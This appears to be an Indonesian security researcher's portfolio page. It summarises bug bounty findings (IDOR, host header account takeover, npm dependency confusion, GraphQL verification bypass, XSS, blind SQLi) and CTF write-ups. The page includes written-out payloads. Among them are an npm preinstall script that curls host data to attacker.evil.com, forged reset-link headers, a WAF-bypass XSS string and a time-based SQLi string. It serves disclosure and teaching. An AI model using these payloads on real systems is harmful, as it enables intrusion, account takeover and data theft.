Filter:
Bug Bounty
IDOR — 1.4M PII Data Leak (HackerOne)
$2,500 reward
HackerOne Private Program IDOR / BAC 2024
➔

// Ringkasan

Peneliti menemukan vulnerability IDOR (Insecure Direct Object Reference) pada platform private program di HackerOne yang menghasilkan akses ke 1,4 juta record PII (Personally Identifiable Information). Vulnerability ini memungkinkan pembacaan dokumen sensitif pengguna lain hanya dengan memanipulasi parameter numeric.

// Vector Kerentanan

Pada endpoint pengelolaan dokumen, terdapat fungsi update checklist yang menggunakan parameter DocID numeric:

POST /api/v1/checklist/update
{
  "docId": 147123456,
  ...
}

Respons mengembalikan URL dokumen publik seperti:

"fileSrc": "https://cdn.target.com/docs/147123456-cardio-report.pdf"

Dengan mengubah DocID secara berturut-turut, peneliti dapat mengakses dokumen milik pengguna lain tanpa otorisasi apapun.

// Dampak

  • Akses ke 1.4M record data kesehatan kardiovaskular
  • PII termasuk nama, diagnosis, dan informasi medis
  • Tidak ada validasi kepemilikan dokumen di backend
  • Termasuk kategori breach yang wajib dilaporkan (GDPR)

// Remediasi

Implementasi ownership validation: setiap request harus memverifikasi bahwa DocID yang diminta benar-benar milik user yang mengaksesnya.

↗ Read Full Write-Up on Medium
Bug Bounty
Account Takeover via Host Header Injection (Bugcrowd)
Payout undisclosed · Severity P2
Bugcrowd Private Program Host Header Injection ATO 2024
➔

// Ringkasan

Menemukan kerentanan Account Takeover (ATO) pada program private Bugcrowd melalui teknik Host Header Injection pada fitur reset password. Attacker mampu mengarahkan link reset password ke domain miliknya sendiri.

// Langkah Eksploitasi

Pada endpoint POST /v2/request_reset, peneliti memodifikasi header HTTP:

POST /v2/request_reset
Host: www.redacted.com
X-Forwarded-Host: attacker.oast.online
X-Host: attacker.oast.online
Origin: https://attacker.oast.online
Referer: https://attacker.oast.online/test

Link reset yang dikirim berupa:

https://www.redacted.com.attacker.oast.online/recover_account/.../reset-token

Trik tambahan: menggunakan format subdomain injection www.redacted.com.attacker.oast.online membuat server tetap memproses request dengan 200 OK, tapi link diarahkan ke collaborator domain peneliti.

// Dampak

  • Full account takeover semua user yang mereset password
  • Pengacak token direstui attacker-controlled domain
  • Termasuk High severity karena dampaknya masif

// Remediasi

Servis harus mengabaikan X-Forwarded-Host dan X-Host headers, serta hardcode origin domain untuk semua URL internal.

↗ Read Full Write-Up on Medium
Bug Bounty
RCE via Dependency Confusion (npm Package)
$2,500 reward · Highest tier
Medium Blog Supply Chain Attack RCE 2024
➔

// Ringkasan

Dependency Confusion attack vector di mana package npm internal perusahaan dengan nama @confidential-package-name ternyata belum diklaim di public registry. Peneliti memublikasikan malicious package dengan nama yang sama dan menjalankan arbitrary code saat install.

// Teknik

Langkah-langkah exploitasi:

  • Recon: temukan referensi internal package di source code perusahaan (/node_modules/@internal-scope/pkg-name)
  • Cek apakah package sudah ada di public npm registry (belum diklaim)
  • Buat package dengan nama & scope identik, tambahkan preinstall script:
{
  "name": "@company/internal-utils",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "curl -d \"info=$(hostname && whoami)\" http://attacker.evil.com/log"
  }
}

Paket ini akan dieksekusi otomatis saat npm install di CI/CD pipeline perusahaan.

// Dampak

  • Remote Code Execution di production environment
  • Potensi akses ke secret & credential di CI environment
  • Initial access ke infrastruktur cloud perusahaan
↗ Read Full Write-Up on Medium
Bug Bounty
Email Verification Bypass — GraphQL Mutation
$1,200 reward · Severity upgraded P4 → P2
Bugcrowd Private Program Broken Access Control GraphQL 2024
➔

// Ringkasan

Pada aplikasi dengan fitur verifikasi email, peneliti menemukan GraphQL mutation yang memungkinkan manipulasi status verifikasi langsung di request body tanpa perlu mengakses link verifikasi sungguhan.

// Request Asli

mutation solutionsResendEmailVerification($input: ResendEmailInput!) {
  resendEmailVerification(input: $input) {
    success
    __typename
  }
}

variables: {
  "entityId": "511",
  "status": "PENDING",
  "requestReferrer": "SOLUTIONS_CREATE"
}

// Eksploitasi

Ubah field status dari "PENDING" menjadi "VERIFIED":

"status": "VERIFIED"

Backend tidak hanya mengubah UI state, tetapi juga menyimpan value ini ke database — sehingga akun langsung dianggap verified tanpa pernah mengakses email.

// Dampak

  • Registrasi akun palsu tanpa validasi email
  • Potensi abuse untuk fraud & spoofing
  • Bypass mekanisme security control berbasis email
↗ Read Full Write-Up on Medium
CTF
DEF CON CTF Qualifier 2024 — shiny-shells (Crypto)
Rating: 1.0 · CTFtime Writeup
DEF CON CTF Qualifier 2024 Crypto Paillier Cryptosystem
➔

// Deskripsi Challenge

Challenge shiny-shells menggunakan Paillier cryptosystem yang mendukung homomorphic multiplication — memungkinkan operator mengubah command yang dieksekusi server tanpa decrypt ciphertext.

// Analisis Kriptografi

Paillier encryption: c = (g^m * r^n) mod n². Homomorphic property: c^a mod n² = g^(m*a) * (r^a)^n mod n², artinya bisa mengalikan plaintext tanpa tahu nilainya.

// Eksploitasi

Server menerima ciphertext hasil encrypt command ls. Untuk mendapatkan shell access, perlu menghitung n dan membuat ciphertext baru yang decrypt-nya berisi sh\t...\n (shell command):

from Crypto.Util.number import bytes_to_long

ls = bytes_to_long(b'ls')
sh_b = b'sh'

for i0 in TAB:
    for i1 in TAB:
        for i2 in TAB:
            for i3 in TAB:
                for i4 in TAB:
                    for i5 in TAB:
                        b = sh_b + bytes([i0,i1,i2,i3,i4,i5])
                        a = bytes_to_long(b) % ls
                        if a == 0:
                            n = bytes_to_long(b) // ls
                            print(n, b)
                            break

Dengan n = 299531993847392 dan payload b'sh\t \x0c\t\r ', lakukan homomorphic multiplication:

ctxt_new = pow(ctxt, n, n*n)
msg = {'hash': hash(payload), 'ctxt': ctxt_new, 'n': n}

// Sumber

↗ Original Write-Up at CTFtime
CTF
LKS Cyber Security Indonesia — Write-Up Archive
Open Source · Educational
LKS DIKMEN Cybersecurity Jeopardy CTF Indonesia National
➔

// Tentang Seri

Lomba Kompetensi Siswa (LKS) bidang Cybersecurity merupakan kompetisi nasional tingkat SMK di Indonesia. Challenge mencakup 5 kategori utama: Web Exploitation, Cryptography, Forensics, Reverse Engineering, dan Binary Exploitation.

// Repository Write-Up Publik

  • LKS Wilayah Jakarta Timur 2024 — archive & solve oleh Faiz Hidayat (GitHub, MIT License)
  • LKS Kota Samarinda 2025 — write-up lengkap oleh SUHEKU831 (GitHub)
  • LKS Nasional — write-up oleh rozaqi (GitHub)
  • LKS Kabupaten Tulungagung 2026 — chall dump official dari problem setter (LKSTA repo)

// Kategori yang Tercover

  • Web Exploitation: SQLi, XSS, SSRF, IDOR, authentication bypass
  • Cryptography: RSA variants, AES ECB mode, custom stream cipher
  • Forensics: PCAP analysis, disk imaging, memory forensics, steganography
  • Reverse Engineering: x86/x64 binary reversing, packed executables
  • Binary Exploitation: buffer overflow, ret2libc, heap exploitation

// Link ke Repository

  • GitHub: github.com/Faiz-Hidayat/LKS-Cyber-Security
  • GitHub: github.com/SUHEKU831/LKS-Cyber-Security-Kota
  • GitHub: github.com/rozaqi/Write-up-LKS-Cyber-Security-Tingkat-Nasional
  • GitHub: github.com/LKSTA/LKSDIKMEN-Cybersecurity-2026
↗ Browse All LKS Repositories on GitHub
Bug Bounty
Stored Self-XSS + IDOR = Mass Account Takeover
Severity: Critical · Public Program
Medium Blog XSS + IDOR Event-Based Platform
➔

// Ringkasan

Chain攻击 yang menggabungkan Stored Self-XSS dan IDOR (Insecure Direct Object Reference) untuk melakukan mass account takeover terhadap seluruh pengguna platform event organizer.

// Langkah 1: IDOR Enumeration

Memodifikasi eventID parameter pada request API untuk mengakses event milik user lain. Namun response selalu 403 Unauthorized.

// Langkah 2: XSS via Email Template

Menemukan fitur edit email template yang menerima JSON-encoded data. Payload disisipkan ke dalam field text:

{
  "data": "{text:}",
  "eventID": 23423
}

Template tersimpan sebagai HTML dan dieksekusi saat admin membuka halaman.

// Langkah 3: Mass ATO

Dengan mengubah eventID ke ID korban (numerik, bisa brute-force), XSS payload otomatis tereksekusi di akun victim. Attacker bisa mengambil session cookie dan mengontrol semua account.

// Dampak

  • Full account takeover semua platform users
  • Attacker-controlled email templates untuk semua event
  • Brute-force eventID numerik sangat feasibel
↗ Read Full Write-Up on Medium
Bug Bounty
Dutch Government — Reflected XSS & Blind SQLi
T-shirt + Swag Rewards
Medium Blog Government Target XSS + SQLi
➔

// Reflected XSS (Browser-Based)

Hidden input div merefleksikan URL tanpa sanitasi. WAF memblokir karakter >, sehingga digunakan Firefox-specific accesskey attribute technique:

;default'%20accesskey%3d'X'%20onclick%3d'alert(document.domain)

Menekan Alt+Shift+X mengeksekusi payload tanpa perlu klik apa pun.

// Boolean-Based Blind SQLi

Parameter channel_id pada hidden form field terinfeksi OR boolean-based blind SQL injection. Payload time-based:

if(now()=sysdate(),sleep(10),0) -- 

Dengan custom Python script dan payload bertunda 10 detik per bit, berhasil extract table names dari information_schema.

↗ Read Full Write-Up on Medium

No write-ups found matching your criteria.